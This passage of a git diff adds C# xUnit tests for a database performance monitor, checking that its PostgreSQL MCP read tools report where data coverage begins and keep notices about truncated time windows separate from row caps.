+    public async Task ServerAddedTwoDaysAgo_NamesWhereCoverageStarts_AndKeepsTheKeyOrder_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await ForEachToolAsync("added", async (connection, postgres, tool, name, end) =>
+        {
+            var added = end.AddDays(-2);
+            await SeedAsync(connection, tool, name, added, end.AddDays(-1), ct);
+
+            var root = Parse(await CallAsync(postgres, tool, name, 168, end));
+
+            Assert.True(root.GetProperty("window_truncated").GetBoolean(), tool.Name);
+            Assert.Equal(McpHelpers.FormatEffectiveStart(added), root.GetProperty("effective_start").GetString());
+            Assert.Equal(
+                DarlingMcpWindowNotice.Build(added, end.AddHours(-168), tool.Table).TruncationNote,
+                root.GetProperty("truncation_note").GetString());
+            Assert.Equal(3, root.GetProperty(tool.ArrayKey).GetArrayLength());
+
+            var names = root.EnumerateObject().Select(p => p.Name).ToList();
+            var at = names.IndexOf("hours_back");
+            Assert.Equal(["effective_start", "window_truncated", "truncation_note"], names.Skip(at + 1).Take(3));
+        });
+    }
+
+    [Fact]
+    public async Task QuietStart_FirstEventLate_GivesNoNotice_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await ForEachToolAsync("quiet", async (connection, postgres, tool, name, end) =>
+        {
+            await SeedAsync(connection, tool, name, end.AddDays(-30), end.AddDays(-5), ct);
+
+            var root = Parse(await CallAsync(postgres, tool, name, 168, end));
+
+            Assert.False(root.GetProperty("window_truncated").GetBoolean(), tool.Name);
+            Assert.Equal(JsonValueKind.Null, root.GetProperty("truncation_note").ValueKind);
+        });
+    }
+
+    [Fact]
+    public async Task AnEvent_OlderThanTheFirstCollection_MovesTheStartBackToIt_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await ForEachToolAsync("backfill", async (connection, postgres, tool, name, end) =>
+        {
+            await SeedAsync(connection, tool, name, end.AddHours(-1), end.AddHours(-23.5), ct, collectedAt: end.AddMinutes(-30));
+
+            var root = Parse(await CallAsync(postgres, tool, name, 24, end));
+
+            Assert.Equal(3, root.GetProperty(tool.ArrayKey).GetArrayLength());
+            Assert.False(root.GetProperty("window_truncated").GetBoolean(), tool.Name);
+            Assert.Equal(JsonValueKind.Null, root.GetProperty("truncation_note").ValueKind);
+            Assert.Equal(McpHelpers.FormatEffectiveStart(end.AddHours(-23.5)), root.GetProperty("effective_start").GetString());
+        });
+    }
+
+    [Fact]
+    public async Task AFullCappedPage_BesideAnEarlyCoverage_ReadsCovered_WhileTruncatedIsTrue_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await ForEachToolAsync("capped", async (connection, postgres, tool, name, end) =>
+        {
+            /* Events at 10, 9 and 8 hours back, a page of 2, and a server registered 30 days ago: the cap is reported by truncated,
+               and the notice is coverage, which reaches back past the window's start. */
+            await SeedAsync(connection, tool, name, end.AddDays(-30), end.AddHours(-10), ct);
+
+            var root = Parse(await CallAsync(postgres, tool, name, 24, end, limit: 2));
+
+            Assert.True(root.GetProperty("truncated").GetBoolean(), tool.Name);
+            Assert.Equal(2, root.GetProperty(tool.ArrayKey).GetArrayLength());
+            Assert.False(root.GetProperty("window_truncated").GetBoolean(), tool.Name);
+            Assert.Equal(JsonValueKind.Null, root.GetProperty("truncation_note").ValueKind);
+        });
+    }
+
+    [Fact]
+    public async Task ACappedPage_BesideALateCoverage_NamesTheEarlierOfTheCoverageAndTheOldestEventShown_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await ForEachToolAsync("cappedlate", async (connection, postgres, tool, name, end) =>
+        {
+            /* The page of 2 shows the events 8 and 9 hours back; coverage starts 6 hours back, later than both, so the answer starts
+               at the oldest event shown. */
+            await SeedAsync(connection, tool, name, end.AddDays(-30), end.AddHours(-10), ct);
+
+            await WithProbeAsync(() => Task.FromResult<DateTime?>(end.AddHours(-6)), async () =>
+            {
+                var root = Parse(await CallAsync(postgres, tool, name, 24, end, limit: 2));
+
+                Assert.True(root.GetProperty("truncated").GetBoolean(), tool.Name);
+                Assert.True(root.GetProperty("window_truncated").GetBoolean(), tool.Name);
+                Assert.Equal(McpHelpers.FormatEffectiveStart(end.AddHours(-9)), root.GetProperty("effective_start").GetString());
+                Assert.NotEqual(JsonValueKind.Null, root.GetProperty("truncation_note").ValueKind);
+            });
+        });
+    }
+
+    [Fact]
+    public async Task AnEmptyAnswer_PastCoverage_CarriesTheNoticeUnderHints_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await ForEachToolAsync("empty", async (connection, postgres, tool, name, end) =>
+        {
+            await SeedAsync(connection, tool, name, end.AddDays(-2), null, ct);
+
+            var root = Parse(await CallAsync(postgres, tool, name, 1, end.AddDays(-5)));
+
+            var hints = root.GetProperty("hints");
+            Assert.True(hints.GetProperty("window_truncated").GetBoolean(), tool.Name);
+            Assert.Equal(JsonValueKind.Null, hints.GetProperty("effective_start").ValueKind);
+            Assert.Contains("no collection of " + tool.Table, hints.GetProperty("truncation_note").GetString(), StringComparison.Ordinal);
+            Assert.False(root.TryGetProperty("window_truncated", out _), tool.Name);
+        });
+    }
+
+    [Fact]
+    public async Task NotCollected_StaysBare_AndStartsNoProbe_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await ForEachToolAsync("notcollected", async (connection, postgres, tool, name, end) =>
+        {
+            await SeedAsync(connection, tool, name, end.AddDays(-2), null, ct);
+            await DarlingMcpTestData.ExecAsync(connection, ct,
+                "UPDATE servers SET engine_kind = $2 WHERE server_id = $1", ServerIdHelper.GetDeterministicHashCode(name), MonitoredEngineKind.SqlServer);
+
+            var probes = 0;
+            await WithProbeAsync(() => { probes++; throw new TimeoutException("the probe must not run"); }, async () =>
+            {
+                var root = Parse(await CallAsync(postgres, tool, name, 1, end.AddDays(-5)));
+
+                Assert.Equal("not_collected", root.GetProperty("status").GetString());
+                Assert.False(root.TryGetProperty("hints", out _), tool.Name);
+                Assert.Equal(0, probes);
+            });
+        });
+    }
+
+    [Fact]
+    public async Task AShortWindow_WithRows_StartsNoProbe_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await ForEachToolAsync("short", async (connection, postgres, tool, name, end) =>
+        {
+            await SeedAsync(connection, tool, name, end.AddDays(-30), end.AddMinutes(-40), ct);
+
+            var probes = 0;
+            await WithProbeAsync(() => { probes++; throw new TimeoutException("the probe must not run"); }, async () =>
+            {
+                var root = Parse(await CallAsync(postgres, tool, name, 1, end));
+
+                Assert.Equal(0, probes);
+                Assert.True(root.GetProperty(tool.ArrayKey).GetArrayLength() > 0, tool.Name);
+                Assert.False(root.GetProperty("window_truncated").GetBoolean(), tool.Name);
+            });
+        });
+    }
+
+    [Fact]
+    public async Task AFailedProbe_CostsTheNotice_NeverTheRows_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await ForEachToolAsync("probefail", async (connection, postgres, tool, name, end) =>
+        {
+            await SeedAsync(connection, tool, name, end.AddDays(-2), end.AddDays(-1), ct);
+
+            await WithProbeAsync(() => throw new TimeoutException("the probe's deadline passed"), async () =>
+            {
+                var root = Parse(await CallAsync(postgres, tool, name, 168, end));
+
+                Assert.False(root.TryGetProperty("error", out _), tool.Name);
+                Assert.Equal(3, root.GetProperty(tool.ArrayKey).GetArrayLength());
+                Assert.False(root.TryGetProperty("effective_start", out _), tool.Name);
+                Assert.False(root.TryGetProperty("window_truncated", out _), tool.Name);
+                Assert.False(root.TryGetProperty("truncation_note", out _), tool.Name);
+
+                var empty = Parse(await CallAsync(postgres, tool, name, 1, end.AddDays(-5)));
+                Assert.False(empty.TryGetProperty("hints", out _), tool.Name);
+            });
+        });
+    }
+}
diff --git a/Darling/Darling.Tests/PgFactCollectorTests.cs b/Darling/Darling.Tests/PgFactCollectorTests.cs
index 1c91c0f4d5..7a5731ea88 100644
--- a/Darling/Darling.Tests/PgFactCollectorTests.cs
+++ b/Darling/Darling.Tests/PgFactCollectorTests.cs
@@ -39,6 +39,7 @@ namespace Darling.Tests;
 /* Live-fixture tests share one Postgres store; the collection serializes them so
    cross-test row churn (inserts/purges/deletes) cannot race another class's assertions. */
 [Collection("live-postgres")]
+[Trait("Reads", "Lite")]
 public sealed class PgFactCollectorTests
 {
     /// <summary>Distinctive fake ids — a real server_id is a storage-name hash, never these.</summary>
@@ -111,10 +112,14 @@ public void AllSql_CoversEveryQuery_OnePerCollectMethodPlusTheDmvFallback()
     {
         /* 32 collect methods (31 fact readers plus the #3538 coverage witness), one query each, plus
            the DMV-snapshot fallback the blocking-chain method appends through PgBlockingPairRowQuery, plus
-           PLAN_REGRESSION's #3953 table twin: the plan-regression method runs one of two reads per server,
-           and Lite has no store for the second (its DuckDB keeps no latest-snapshot interval table). */
-        Assert.Equal(LiteCollectMethodSurface.Length + 2, PgFactCollector.AllSql.Count);
+           PLAN_REGRESSION's #3953 table twin and #5448 daily-totals twin: the plan-regression method runs one of
+           three reads per server, and Lite has no store for the second or the third (its DuckDB keeps no
+           latest-snapshot interval table), plus #5516's DatabaseSizeNewestSql: the database-size method runs
+           it first and DatabaseSizeSql only when a file has dropped out of the newest snapshot. */
+        Assert.Equal(LiteCollectMethodSurface.Length + 4, PgFactCollector.AllSql.Count);
+        Assert.Contains(PgFactCollector.DatabaseSizeNewestSql, PgFactCollector.AllSql);
         Assert.Contains(PgFactCollector.PlanRegressionTableSql, PgFactCollector.AllSql);
+        Assert.Contains(PgFactCollector.PlanRegressionDailySql, PgFactCollector.AllSql);
         Assert.Contains(PgBlockingPairRowQuery.DmvSnapshotSql, PgFactCollector.AllSql);
         Assert.Contains(PgFactCollector.CoverageSql, PgFactCollector.AllSql);
     }
@@ -243,17 +248,20 @@ columns in the PG server's time zone. Every "now"/window bound is a bound
     [Fact]
     public void AllSql_AnyValue_OnlyInThePlanRegressionQuery()
     {
-        /* any_value() is standard SQL:2023, in Postgres since 16 (product minimum PG is 17).
+        /* any_value() is standard SQL:2023, in Postgres since 16 (product minimum PG is 16).
            It is deliberate in the plan-regression aggregation and nowhere else. */
         Assert.Contains("any_value(query_plan_hash)", PgFactCollector.PlanRegressionSql, StringComparison.Ordinal);
         Assert.Contains("any_value(query_plan_hash)", PgFactCollector.PlanRegressionTableSql, StringComparison.Ordinal);
+        Assert.Contains("any_value(query_plan_hash)", PgFactCollector.PlanRegressionDailySql, StringComparison.Ordinal);
         foreach (var sql in PgFactCollector.AllSql)
         {
             if (sql.Contains("any_value", StringComparison.OrdinalIgnoreCase))
             {
-                /* The two PLAN_REGRESSION reads (#3953: raw, and its interval-table twin), and nothing else. */
+                /* The three PLAN_REGRESSION reads (#3953: raw, and its interval-table twin; #5448: the daily-totals twin),
+                   and nothing else. */
                 Assert.True(
-                    sql == PgFactCollector.PlanRegressionSql || sql == PgFactCollector.PlanRegressionTableSql,
+                    sql == PgFactCollector.PlanRegressionSql || sql == PgFactCollector.PlanRegressionTableSql
+                        || sql == PgFactCollector.PlanRegressionDailySql,
                     "any_value() outside the PLAN_REGRESSION reads:\n" + sql);
             }
         }
@@ -302,7 +310,9 @@ so its right-hand operand parses as a relation name.
                    the drill-down guard. */
                 Assert.True(
                     views.Contains(target) || tables.Contains(target) || ctes.Contains(target)
-                        || target == QueryStoreIntervalLatest.TableName,
+                        || target == QueryStoreIntervalLatest.TableName
+                        /* #5448: the daily-totals twin reads the per-day table beside it. */
+                        || target == "plan_regression_daily",
                     $"FROM/JOIN target '{target}' resolves to no V4 view, collector table, or CTE in:\n{sql}");
             }
         }
@@ -481,7 +491,7 @@ await LiveStoreCleanup.RunAsync(connectionString!, bodySucceeded, async (cleanup
     /// #3527: delta_cntr_value spans one COLLECTION INTERVAL, not one second — read raw, the
     /// PERFMON_*_SEC facts overstate by the cadence (60x at 60s, 300x at 5min). The query must
     /// select the row's measured sample_interval_seconds (#2234) for the division and filter
-    /// interval &lt;= 0 rows (no delta was knowable: first sighting, reset, gap) so rn = 1 lands on
+    /// interval &lt;= 0 rows (no delta was knowable: first sighting, reset, gap) so the newest row per counter (LIMIT 1) lands on
     /// the newest row a rate can honestly be derived from.
     /// </summary>
     [Fact]
diff --git a/Darling/Darling.Tests/PgGridsMcpDataStartLiveTests.cs b/Darling/Darling.Tests/PgGridsMcpDataStartLiveTests.cs
new file mode 100644
index 0000000000..0960b8f481
--- /dev/null
+++ b/Darling/Darling.Tests/PgGridsMcpDataStartLiveTests.cs
@@ -0,0 +1,334 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Text.Json;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #4966: the window-floor keys on six PostgreSQL MCP reads (wait stats, wait sampling, kernel stats, lock stats, predicate stats and
+/// the server config changes), probed on the web's own source for each read (<see cref="WebDataStartNote.TryGetReadSource"/>).
+/// </summary>
+[Collection("live-postgres")]
+public sealed class PgGridsMcpDataStartLiveTests
+{
+    private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    private static readonly string[] Tables =
+        ["pg_wait_stats", "pg_wait_sampling", "pg_kernel_stats", "pg_lock_stats", "pg_predicate_stats", "pg_server_config"];
+
+    public static TheoryData<string> Reads => new()
+    {
+        "get_pg_wait_stats", "get_pg_wait_sampling", "get_pg_kernel_stats", "get_pg_lock_stats", "get_pg_predicate_stats", "get_pg_server_config_changes",
+    };
+
+    private static string Name(string tool, string scenario) => $"pgg-{tool.Replace("get_pg_", "").Replace('_', '-')}-{scenario}";
+
+    private static Task Run(string tool, string scenario, Func<NpgsqlConnection, NpgsqlDataSource, DateTime, string, Task> body)
+    {
+        var name = Name(tool, scenario);
+        return WindowFloorLiveHarness.RunAsync(ConnectionString, Tables, [name], Tables, (c, ds, end) => body(c, ds, end, name));
+    }
+
+    private static Task<string> Call(string tool, NpgsqlDataSource ds, string name, int hours, DateTime end, int? limit = null)
+    {
+        var asOf = WebDataStartNote.FormatWindowEnd(end);
+        return tool switch
+        {
+            "get_pg_wait_stats" => DarlingMcpPgWaitTools.GetPgWaitStats(ds, name, hours, limit ?? 20, asOf),
+            "get_pg_wait_sampling" => DarlingMcpPgWaitSamplingTools.GetPgWaitSampling(ds, name, hours, limit ?? 20, asOf),
+            "get_pg_kernel_stats" => DarlingMcpPgKernelStatsTools.GetPgKernelStats(ds, name, hours, limit ?? 20, asOf),
+            "get_pg_lock_stats" => DarlingMcpPgServerStateTools.GetPgLockStats(ds, name, hours, limit ?? 25, asOf),
+            "get_pg_predicate_stats" => DarlingMcpPgPredicateTools.GetPgPredicateStats(ds, name, hours, limit ?? 25, asOf),
+            _ => DarlingMcpPgServerStateTools.GetPgServerConfigChanges(ds, name, hours, limit ?? 100, asOf),
+        };
+    }
+
+    private static string RowsKey(string tool) => tool switch
+    {
+        "get_pg_wait_stats" or "get_pg_wait_sampling" => "waits",
+        "get_pg_kernel_stats" => "queries",
+        "get_pg_lock_stats" => "locks",
+        "get_pg_predicate_stats" => "predicates",
+        _ => "changes",
+    };
+
+    private static string TableOf(string tool) => WebDataStartNote.TableByRead[tool];
+
+    /// <summary>Seeds the read's rows: two collections ten minutes apart from <paramref name="first"/> (the cumulative families need two to difference).</summary>
+    private static async Task SeedAsync(NpgsqlConnection c, string tool, string name, DateTime first)
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var id = ServerIdHelper.GetDeterministicHashCode(name);
+        for (var i = 0; i < 2; i++)
+        {
+            var t = DarlingMcpTestData.Naive(first.AddMinutes(10 * i));
+            switch (tool)
+            {
+                case "get_pg_wait_stats":
+                    await DarlingMcpTestData.ExecAsync(c, ct, @"
+INSERT INTO pg_wait_stats (collection_id, collection_time, server_id, server_name, wait_type_id, wait_event_id, wait_type, wait_event, waits, wait_time_us, delta_waits, delta_wait_time_us)
+VALUES ($1, $2, $3, $4, 1, 100, 'IO', 'DataFileRead', 100, 9999999, 10, 5000000)", CollectionIdGenerator.Next(), t, id, name);
+                    break;
+                case "get_pg_wait_sampling":
+                    await DarlingMcpTestData.ExecAsync(c, ct, @"
+INSERT INTO pg_wait_sampling (collection_id, collection_time, server_id, server_name, event_type, event, query_id, sample_count, profile_period_ms, backend_count)
+VALUES ($1, $2, $3, $4, 'IO', 'DataFileRead', 7, $5, 10, 1)", CollectionIdGenerator.Next(), t, id, name, 100L + 50 * i);
+                    break;
+                case "get_pg_kernel_stats":
+                    await DarlingMcpTestData.ExecAsync(c, ct, @"
+INSERT INTO pg_kernel_stats (collection_id, collection_time, server_id, server_name, database_name, query_id, exec_user_time_ms, exec_system_time_ms, plan_cpu_time_ms, exec_read_bytes, exec_write_bytes, minor_faults, major_faults, stats_since)
+VALUES ($1, $2, $3, $4, 'app', 7, $5, $6, 0, 8192, 0, 0, 0, $7)", CollectionIdGenerator.Next(), t, id, name, 100.0 + 20 * i, 10.0 * i, DarlingMcpTestData.Naive(first.AddDays(-1)));
+                    break;
+                case "get_pg_lock_stats":
+                    await DarlingMcpTestData.ExecAsync(c, ct, @"
+INSERT INTO pg_lock_stats (collection_id, collection_time, server_id, server_name, database_name, lock_type, mode, granted, relation_name, backend_count, oldest_wait_ms)
+VALUES ($1, $2, $3, $4, 'app', 'relation', 'AccessShareLock', false, 'public.t', 2, 1500)", CollectionIdGenerator.Next(), t, id, name);
+                    break;
+                case "get_pg_predicate_stats":
+                    await DarlingMcpTestData.ExecAsync(c, ct, @"
+INSERT INTO pg_predicate_stats (collection_id, collection_time, server_id, server_name, database_name, schema_name, table_name, column_name, operator, query_id, sample_count, rows_evaluated, rows_filtered, worst_estimate_error_ratio, sample_rate)
+VALUES ($1, $2, $3, $4, 'app', 'public', 't', 'c', '=', 7, 120, 1000, 900, 1.5, 0.01)", CollectionIdGenerator.Next(), t, id, name);
+                    break;
+                default:
+                    await SeedConfigAsync(c, name, t, i == 0 ? "128MB" : "256MB");
+                    break;
+            }
+        }
+    }
+
+    private static Task SeedConfigAsync(NpgsqlConnection c, string name, DateTime at, string setting) =>
+        DarlingMcpTestData.ExecAsync(c, TestContext.Current.CancellationToken, @"
+INSERT INTO pg_server_config
+    (collection_id, collection_time, server_id, server_name, name, setting, unit, category, context, vartype,
+     source, boot_val, reset_val, sourcefile, sourceline, pending_restart, short_desc)
+VALUES ($1, $2, $3, $4, 'work_mem', $5, NULL, 'Resource Usage / Memory', 'user', 'integer', 'configuration file', '4MB', $5, NULL, 0, false, NULL)",
+            CollectionIdGenerator.Next(), DarlingMcpTestData.Naive(at), ServerIdHelper.GetDeterministicHashCode(name), name, setting);
+
+    private static Task SeedServerAsync(NpgsqlConnection c, string name, DateTime created) =>
+        WindowFloorLiveHarness.SeedServerAsync(c, name, created, "pg_wait_stats", null, 30, DateTime.UtcNow, Tables, TestContext.Current.CancellationToken);
+
+    /// <summary>What the web's own source says coverage is for the tool's window.</summary>
+    private static async Task<DateTime?> WebFloorAsync(NpgsqlDataSource ds, string tool, string name, int hours, DateTime end)
+    {
+        Assert.True(WebDataStartNote.TryGetReadSource(tool, out var source));
+        return await DataWindowFloor.GetAsync(ds, [source], [name], end.AddHours(-hours), end, StorageCommandDeadlines.McpReadSeconds, TestContext.Current.CancellationToken);
+    }
+
+    [Theory]
+    [MemberData(nameof(Reads))]
+    public Task ARowsAnswer_ForAServerAddedTwoDaysAgo_NamesWhereCoverageStarts_OnTheWebsSource_AgainstDevPostgres(string tool) =>
+        Run(tool, "added", async (c, ds, end, name) =>
+        {
+            await SeedServerAsync(c, name, end.AddDays(-2));
+            await SeedAsync(c, tool, name, end.AddHours(-3));
+
+            var root = WindowFloorLiveHarness.Parse(await Call(tool, ds, name, 168, end));
+            var floor = await WebFloorAsync(ds, tool, name, 168, end);
+
+            Assert.NotNull(floor);
+            Assert.True(root.GetProperty("window_truncated").GetBoolean());
+            Assert.Equal(McpHelpers.FormatEffectiveStart(floor!.Value), root.GetProperty("effective_start").GetString());
+            Assert.Equal(DarlingMcpWindowNotice.Build(floor, end.AddHours(-168), TableOf(tool)).TruncationNote, root.GetProperty("truncation_note").GetString());
+
+            var names = root.EnumerateObject().Select(p => p.Name).ToList();
+            Assert.Equal(["effective_start", "window_truncated", "truncation_note"], names.Skip(names.IndexOf("hours_back") + 1).Take(3));
+            Assert.True(root.GetProperty(RowsKey(tool)).GetArrayLength() > 0);
+        });
+
+    [Theory]
+    [MemberData(nameof(Reads))]
+    public Task AQuietStart_GivesNoNotice_AgainstDevPostgres(string tool) =>
+        Run(tool, "quiet", async (c, ds, end, name) =>
+        {
+            await SeedServerAsync(c, name, end.AddDays(-30));
+            await SeedAsync(c, tool, name, end.AddDays(-8));
+            await SeedAsync(c, tool, name, end.AddHours(-3));
+
+            var root = WindowFloorLiveHarness.Parse(await Call(tool, ds, name, 168, end));
+
+            Assert.False(root.GetProperty("window_truncated").GetBoolean());
+            Assert.Equal(JsonValueKind.Null, root.GetProperty("truncation_note").ValueKind);
+        });
+
+    [Theory]
+    [MemberData(nameof(Reads))]
+    public Task AnEmptyAnswer_PastCoverage_CarriesHints_WhereTheReadHasAnEmpty_AgainstDevPostgres(string tool) =>
+        Run(tool, "empty", async (c, ds, end, name) =>
+        {
+            await SeedServerAsync(c, name, end.AddDays(-2));
+
+            var root = WindowFloorLiveHarness.Parse(await Call(tool, ds, name, 1, end.AddDays(-9)));
+
+            if (tool == "get_pg_wait_stats")
+            {
+                /* The read's empty answer is "unavailable", which stays bare. */
+                Assert.Equal("unavailable", root.GetProperty("status").GetString());
+                Assert.False(root.TryGetProperty("hints", out _));
+                return;
+            }
+
+            var hints = root.GetProperty("hints");
+            Assert.True(hints.GetProperty("window_truncated").GetBoolean());
+            Assert.NotEqual(JsonValueKind.Null, hints.GetProperty("truncation_note").ValueKind);
+        });
+
+    [Theory]
+    [MemberData(nameof(Reads))]
+    public Task NotCollected_StaysBare_AgainstDevPostgres(string tool) =>
+        Run(tool, "notcollected", async (c, ds, end, name) =>
+        {
+            await SeedServerAsync(c, name, end.AddDays(-2));
+            await DarlingMcpTestData.ExecAsync(c, TestContext.Current.CancellationToken,
+                "UPDATE servers SET sql_engine_edition = 3, engine_kind = 'sqlserver' WHERE server_id = $1", ServerIdHelper.GetDeterministicHashCode(name));
+            var calls = 0;
+            DarlingMcpWindowNotice.TestOnlyProbe = () => { calls++; return Task.FromResult<DateTime?>(null); };
+
+            var root = WindowFloorLiveHarness.Parse(await Call(tool, ds, name, 168, end.AddDays(-9)));
+
+            Assert.Equal("not_collected", root.GetProperty("status").GetString());
+            Assert.False(root.TryGetProperty("hints", out _));
+            Assert.False(root.TryGetProperty("effective_start", out _));
+            Assert.Equal(0, calls);
+        });
+
+    [Theory]
+    [MemberData(nameof(Reads))]
+    public Task AShortWindow_WithRows_StartsNoProbe_AgainstDevPostgres(string tool) =>
+        Run(tool, "short", async (c, ds, end, name) =>
+        {
+            await SeedServerAsync(c, name, end.AddDays(-30));
+            await SeedAsync(c, tool, name, end.AddMinutes(-40));
+            var calls = 0;
+            DarlingMcpWindowNotice.TestOnlyProbe = () => { calls++; return Task.FromResult<DateTime?>(null); };
+
+            var root = WindowFloorLiveHarness.Parse(await Call(tool, ds, name, 1, end));
+
+            Assert.Equal(0, calls);
+            Assert.False(root.GetProperty("window_truncated").GetBoolean());
+            Assert.True(root.GetProperty(RowsKey(tool)).GetArrayLength() > 0);
+        });
+
+    [Theory]
+    [MemberData(nameof(Reads))]
+    public Task AFailedProbe_CostsTheNotice_NeverTheRows_AgainstDevPostgres(string tool) =>
+        Run(tool, "probefail", async (c, ds, end, name) =>
+        {
+            await SeedServerAsync(c, name, end.AddDays(-2));
+            await SeedAsync(c, tool, name, end.AddHours(-3));
+            DarlingMcpWindowNotice.TestOnlyProbe = () => throw new TimeoutException("the probe's deadline passed");
+
+            var root = WindowFloorLiveHarness.Parse(await Call(tool, ds, name, 168, end));
+
+            Assert.False(root.TryGetProperty("status", out var status) && status.GetString() != "config_changes");
+            Assert.True(root.GetProperty(RowsKey(tool)).GetArrayLength() > 0);
+            Assert.False(root.TryGetProperty("effective_start", out _));
+            Assert.False(root.TryGetProperty("window_truncated", out _));
+            Assert.False(root.TryGetProperty("truncation_note", out _));
+
+            if (tool != "get_pg_wait_stats")
+            {
+                var empty = WindowFloorLiveHarness.Parse(await Call(tool, ds, name, 1, end.AddDays(-9)));
+                Assert.False(empty.TryGetProperty("hints", out _));
+            }
+        });
+
+    /// <summary>The quiet claim of an empty answer (#4966): a window the store does not cover reads as "nothing was read", a covered one keeps its claim.</summary>
+    [Theory]
+    [InlineData("get_pg_lock_stats", "healthy state on a server without sustained contention")]
+    [InlineData("get_pg_wait_sampling", "this is the healthy state")]
+    [InlineData("get_pg_server_config_changes", "a real finding rather than missing data")]
+    public Task AnEmptyAnswer_ClaimsQuiet_OnlyOverACoveredWindow_AgainstDevPostgres(string tool, string coveredClaim) =>
+        Run(tool, "quietclaim", async (c, ds, end, name) =>
+        {
+            await SeedServerAsync(c, name, end.AddDays(-2));
+
+            /* The window ends nine days ago, before this server was registered: the store holds nothing for it (no start to name). */
+            var cut = WindowFloorLiveHarness.Parse(await Call(tool, ds, name, 1, end.AddDays(-9)));
+            var cutMessage = cut.GetProperty("message").GetString()!;
+            Assert.True(cut.GetProperty("hints").GetProperty("window_truncated").GetBoolean());
+            Assert.Contains(". " + McpHelpers.CutWindowNothingReadMessage, cutMessage, StringComparison.Ordinal);
+            Assert.DoesNotContain(coveredClaim, cutMessage, StringComparison.Ordinal);
+
+            /* Registered 30 days ago with its collector running since: the store covers the window and found nothing in it. */
+            await WindowFloorLiveHarness.SeedServerAsync(c, name, end.AddDays(-30), TableOf(tool), end.AddDays(-30), 30, end, Tables, TestContext.Current.CancellationToken);
+            var covered = WindowFloorLiveHarness.Parse(await Call(tool, ds, name, 1, end));
+            var coveredMessage = covered.GetProperty("message").GetString()!;
+            Assert.False(covered.GetProperty("hints").GetProperty("window_truncated").GetBoolean(), covered.ToString());
+            Assert.Contains(coveredClaim, coveredMessage, StringComparison.Ordinal);
+            Assert.DoesNotContain(McpHelpers.CutWindowNothingReadMessage, coveredMessage, StringComparison.Ordinal);
+        });
+
+    /* The notice is always coverage. The row cap is reported by truncated, never by the notice: a capped page beside an early coverage reads covered. */
+    [Fact]
+    public Task ACappedConfigChangesPage_BesideAnEarlyCoverage_ReadsCovered_WhileTruncatedIsTrue_AgainstDevPostgres() =>
+        Run("get_pg_server_config_changes", "capped", async (c, ds, end, name) =>
+        {
+            await SeedServerAsync(c, name, end.AddDays(-30));
+            await SeedConfigAsync(c, name, end.AddHours(-5), "1MB");
+            await SeedConfigAsync(c, name, end.AddHours(-4), "2MB");
+            await SeedConfigAsync(c, name, end.AddHours(-3), "3MB");
+
+            var root = WindowFloorLiveHarness.Parse(await Call("get_pg_server_config_changes", ds, name, 168, end, limit: 1));
+
+            Assert.True(root.GetProperty("truncated").GetBoolean());
+            Assert.Equal(1, root.GetProperty("changes").GetArrayLength());
+            Assert.False(root.GetProperty("window_truncated").GetBoolean());
+            Assert.Equal(JsonValueKind.Null, root.GetProperty("truncation_note").ValueKind);
+        });
+
+    [Fact]
+    public Task ACappedConfigChangesPage_BesideALateCoverage_NamesWhereCoverageStarts_NotTheOldestChangeShown_AgainstDevPostgres() =>
+        Run("get_pg_server_config_changes", "cappedlate", async (c, ds, end, name) =>
+        {
+            await SeedServerAsync(c, name, end.AddDays(-2));
+            await SeedConfigAsync(c, name, end.AddHours(-5), "1MB");
+            await SeedConfigAsync(c, name, end.AddHours(-4), "2MB");
+            await SeedConfigAsync(c, name, end.AddHours(-3), "3MB");
+
+            var root = WindowFloorLiveHarness.Parse(await Call("get_pg_server_config_changes", ds, name, 168, end, limit: 1));
+            var floor = await WebFloorAsync(ds, "get_pg_server_config_changes", name, 168, end);
+
+            Assert.NotNull(floor);
+            Assert.True(root.GetProperty("truncated").GetBoolean());
+            Assert.True(root.GetProperty("window_truncated").GetBoolean());
+            Assert.Equal(McpHelpers.FormatEffectiveStart(floor!.Value), root.GetProperty("effective_start").GetString());
+        });
+
+    [Theory]
+    [MemberData(nameof(Reads))]
+    public void TheToolProbesTheWebsSourceForItsRead(string tool)
+    {
+        Assert.True(WebDataStartNote.TryGetReadSource(tool, out _), $"{tool} has no web probe source");
+        var file = tool switch
+        {
+            "get_pg_wait_stats" => "DarlingMcpPgWaitTools.cs",
+            "get_pg_wait_sampling" => "DarlingMcpPgWaitSamplingTools.cs",
+            "get_pg_kernel_stats" => "DarlingMcpPgKernelStatsTools.cs",
+            "get_pg_predicate_stats" => "DarlingMcpPgPredicateTools.cs",
+            _ => "DarlingMcpPgServerStateTools.cs",
+        };
+        var source = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "Mcp", file);
+        /* Every notice read of the tool names its read (the helper resolves the web's source and table from it), and none builds its own source. */
+        Assert.Contains($"postgres, \"{tool}\",", source, StringComparison.Ordinal);
+        Assert.Equal(TableOf(tool), DarlingMcpWindowNotice.TableFor(tool));
+        Assert.DoesNotContain("ForCollectorTable(", source, StringComparison.Ordinal);
+        Assert.Contains(tool, WebDataStartNote.TableByRead.Keys);
+        Assert.DoesNotContain(tool, WebDataStartNote.CollectorRunsByRead.Keys);
+    }
+}
diff --git a/Darling/Darling.Tests/PgIndexBloatCoverageTests.cs b/Darling/Darling.Tests/PgIndexBloatCoverageTests.cs
